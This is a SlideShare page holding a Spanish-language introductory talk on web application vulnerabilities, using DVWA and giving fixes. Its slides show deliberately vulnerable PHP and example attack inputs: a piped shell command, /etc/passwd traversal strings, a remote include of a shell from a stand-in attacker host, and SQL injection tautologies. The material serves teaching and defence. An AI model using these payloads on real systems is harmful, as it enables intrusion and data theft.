Your SlideShare is downloading. ×
0
VULNERABILIDADESEN APLICACIONES WEBwww.realtic.es
¿DE QUE VA ESTO?¿POR QUÉ SERGURIDAD EN       LA WEB?
¿QUÉ VULNERABILIDADES VAMOS A VER? •OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection ...
DEMODamn Vulnerable Web Application (DVWA)          www.dvwa.co.uk http://www.dvwa.co.uk/DVWA-1.0.7.iso
OS COMMANDINGAtaque que permite la ejecución noautorizada de comandos en el sistemaoperativo del servidor web             ...
OS COMMANDING   DEMO
LOCAL FILE INCLUSIONAtaque que permite el enlace de archivos localesdebido a una mala filtración en las funciones propias ...
LOCAL FILE INCLUSIONAtaque que permite el enlace de archivos localesdebido a una mala filtración en las funciones propias ...
REMOTE FILE INCLUSIONAtaque que permite el enlace de archivos remotosdebido a una mala filtración en las funciones propias...
REMOTE FILE INCLUSIONAtaque que permite el enlace de archivos remotosdebido a una mala filtración en las funciones propias...
REMOTE FILE INCLUSIONEjemplo: <?php         $pagina = $_GET[‘pagina] ;         if (isset( $pagina) ) {                  in...
Soluciones:•Filtrar los valores recibidos por el usuario  $pagina = preg_replace(/[^a-z^A-Z]*/, , $_GET[pagina]);         ...
LOCAL FILE INCLUSION           &REMOTE FILE INCLUSION      DEMO
SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/el...
SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/el...
SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/el...
SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el docum...
SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el docum...
SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el docum...
SQL INJECTION & BSQL INJECTIONSoluciones:•Validar y filtrar los datos de entrada, en particular, loscaracteres especiales....
SQL INJECTION         &BLIND SQL INJECTION     DEMO
UNRESTRICTED FILE UPLOADEsta vulnerabilidad se produce cuando en unaaplicación que contiene un “file upload” no se hace un...
UNRESTRICTED FILE UPLOAD        DEMO
CROSS-SITE SCRIPTING (XSS)Fallo que se produce cuando no se valida la entrada dedatos desde el cliente, provocando que se ...
CROSS-SITE SCRIPTING (XSS)         DEMO
¿Preguntas?
¡¡GRACIAS!!
Upcoming SlideShare
Loading in...5
×

Vulnerabilidades en aplicaciones web

972

Published on

Presentación de iniciación en las principales vulnerabilidades presentes de las aplicaciones web.

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
972
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
30
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Vulnerabilidades en aplicaciones web"

  1. 1. VULNERABILIDADESEN APLICACIONES WEBwww.realtic.es
  2. 2. ¿DE QUE VA ESTO?¿POR QUÉ SERGURIDAD EN LA WEB?
  3. 3. ¿QUÉ VULNERABILIDADES VAMOS A VER? •OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)
  4. 4. DEMODamn Vulnerable Web Application (DVWA) www.dvwa.co.uk http://www.dvwa.co.uk/DVWA-1.0.7.iso
  5. 5. OS COMMANDINGAtaque que permite la ejecución noautorizada de comandos en el sistemaoperativo del servidor web Podemos realizar este ataque<?php ingresando “;” o “|” (dependiendo del passthru("/bin/ping " . $_GET[‘IP’]); sistema operativo)?> IP = 192.168.1.1 | lsSOLUCIÓN:Filtrar correctamente los parámetros recibidos por el cliente.
  6. 6. OS COMMANDING DEMO
  7. 7. LOCAL FILE INCLUSIONAtaque que permite el enlace de archivos localesdebido a una mala filtración en las funciones propias dePHP: include(), include_once(), requiere(),requiere_once().<?php $pagina = $_GET[‘pagina] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . .php ); } else { include( ‘index.php ); }?>
  8. 8. LOCAL FILE INCLUSIONAtaque que permite el enlace de archivos localesdebido a una mala filtración en las funciones propias dePHP: include(), include_once(), requiere(),requiere_once(). <?php $pagina = $_GET[‘pagina] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . .php ); } else { include( ‘index.php ); } ?>/vulnerable.php?pagina=../../../../../../../../etc/passwd%00
  9. 9. REMOTE FILE INCLUSIONAtaque que permite el enlace de archivos remotosdebido a una mala filtración en las funciones propiasde PHP: include(), include_once(), requiere(),requiere_once()Directivas activadas en la configuración de PHP:allow_url_includeallow_url_fopen
  10. 10. REMOTE FILE INCLUSIONAtaque que permite el enlace de archivos remotosdebido a una mala filtración en las funciones propiasde PHP: include(), include_once(), requiere(),requiere_once()Directivas activadas en la configuración de PHP:allow_url_includeallow_url_fopenhttp://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/
  11. 11. REMOTE FILE INCLUSIONEjemplo: <?php $pagina = $_GET[‘pagina] ; if (isset( $pagina) ) { include( $pagina . .php ); } else { include( ‘index.php ); } ?>/vulnerable.php?pagina=http://www.google.com?/vulnerable.php?pagina=http://atacante.com/shell.txt?
  12. 12. Soluciones:•Filtrar los valores recibidos por el usuario $pagina = preg_replace(/[^a-z^A-Z]*/, , $_GET[pagina]); IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!! $pagina = str_replace(../, , $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!• Almacenar las distintas opciones válidas en un array ycomprobar si se encuentra en dicho array $paginas = array(principal, ‘blog, contacto); if(isset($_GET[pagina]) and in_array($_GET[pagina], $paginas))•Desactivar allow_url_include y allow_url_fopen•No confiar nunca en el usuario, y, por lo tanto, no incluir nadaque un usuario pueda modificar.
  13. 13. LOCAL FILE INCLUSION &REMOTE FILE INCLUSION DEMO
  14. 14. SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/eliminar datossensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario] . ”’ AND Password=‘“ . $_GET[‘password] . “’;”);
  15. 15. SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/eliminar datossensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario] . ”’ AND Password=‘“ . $_GET[‘password] . “’;”); Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
  16. 16. SQL INJECTION & BSQL INJECTIONAtaque que permite manipular una consulta SQL porun atacante con el fin de leer/modificar/eliminar datossensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario] . ”’ AND Password=‘“ . $_GET[‘password] . “’;”); Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1 mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);
  17. 17. SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el documento HTML/vulnerable.php?id=1“SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” WHERE id=1; Mostraría en este caso, admin
  18. 18. SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el documento HTML/vulnerable.php?id=1“SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” WHERE id=1;/vulnerable.php?id=1 and 1=1“SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1; También mostraría admin
  19. 19. SQL INJECTION & BSQL INJECTIONSe considera BLIND SQL INJECTION cuando la respuestano esta directamente impresa en el documento HTML/vulnerable.php?id=1“SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” WHERE id=1;/vulnerable.php?id=1 and 1=1“SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;/vulnerable.php?id=1 and 1=2“SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2; No mostraría nada
  20. 20. SQL INJECTION & BSQL INJECTIONSoluciones:•Validar y filtrar los datos de entrada, en particular, loscaracteres especiales.•Es muy recomendable utilizar prepared statementspara todas las consultas SQL•Ocultar los mensajes explícitos de error que muestrenlas consultas.•Restringir al mínimo los privilegios de las cuentas quese usan.
  21. 21. SQL INJECTION &BLIND SQL INJECTION DEMO
  22. 22. UNRESTRICTED FILE UPLOADEsta vulnerabilidad se produce cuando en unaaplicación que contiene un “file upload” no se hace unavalidación estricta de los tipos de ficheros que sepueden subir, provocando que un atacante puedaejecutar código en el servidor o tomar el control delmismo.Soluciones:- Denegar permiso de ejecución en el directorio dondese suben los archivos.- Verificar MIME-TYPE.- Verificar (correctamente) la extensión del archivo.
  23. 23. UNRESTRICTED FILE UPLOAD DEMO
  24. 24. CROSS-SITE SCRIPTING (XSS)Fallo que se produce cuando no se valida la entrada dedatos desde el cliente, provocando que se puedainyectar código HTML en el resultado de la página.Existen 2 tipos de ataque XSS: •No persistente •PersistentePor este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso.htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA
  25. 25. CROSS-SITE SCRIPTING (XSS) DEMO
  26. 26. ¿Preguntas?
  27. 27. ¡¡GRACIAS!!
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×